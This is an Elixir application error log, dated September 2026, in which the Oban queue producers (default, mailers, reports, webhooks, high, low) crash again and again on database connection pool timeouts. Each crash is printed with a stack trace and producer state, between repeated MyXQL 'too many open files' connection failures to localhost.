State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:08:32.239766Z], limit: 10, uuid: "2e42280f-08e4-4152-acd8-7013226ecc38", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:08:32.239772Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.47896>, refresh_timer: #Reference<0.2525715032.1068498948.48276>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:08:44.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 830ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:08:32.239945Z], limit: 20, uuid: "701a2eed-d951-4f79-8677-e7d05489997a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:08:32.239951Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.47899>, refresh_timer: #Reference<0.2525715032.1121189889.160220>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:08:44.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1056ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:08:32.240728Z], limit: 3, uuid: "f16bce43-bd90-49e7-9006-728074693878", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:08:32.240732Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.47901>, refresh_timer: #Reference<0.2525715032.1121189889.160222>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:08:45.946000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:08:49.012000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:08:50.991000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:08:52.291000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:08:54.409000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:08:57.979000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:08:58.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1009ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:08:44.239134Z], limit: 5, uuid: "7f1246af-1ee9-4c73-890a-da4bb46fec18", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:08:44.239140Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.48344>, refresh_timer: #Reference<0.2525715032.1068498948.48325>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:08:58.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 817ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:08:44.239769Z], limit: 20, uuid: "91560922-f4ca-4cab-a3db-de9a268aae0c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:08:44.239774Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.48343>, refresh_timer: #Reference<0.2525715032.1068498948.48336>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:08:58.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1065ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:08:44.239128Z], limit: 50, uuid: "5b349d89-721f-421f-b4d4-4a6038fd85fb", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:08:44.239135Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.160471>, refresh_timer: #Reference<0.2525715032.1121189889.160419>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:08:58.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1014ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:08:44.239245Z], limit: 10, uuid: "11c1bbdd-052a-4c1d-85f1-5e09291ab920", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:08:44.239250Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.48227>, refresh_timer: #Reference<0.2525715032.1099431938.48213>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:08:58.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 887ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:08:44.239893Z], limit: 3, uuid: "0540355a-8247-43a9-954d-4a3babc5c044", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:08:44.239898Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.48345>, refresh_timer: #Reference<0.2525715032.1068498948.48340>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:08:58.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 812ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:08:44.239134Z], limit: 5, uuid: "925541f4-c41e-4150-87da-51b7f7872f67", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:08:44.239140Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.48346>, refresh_timer: #Reference<0.2525715032.1099431938.48209>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:08:59.711000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:09:00.926000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:09:02.556000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:09:03.049000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:09:03.843000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:09:06.336000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:09:08.557000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
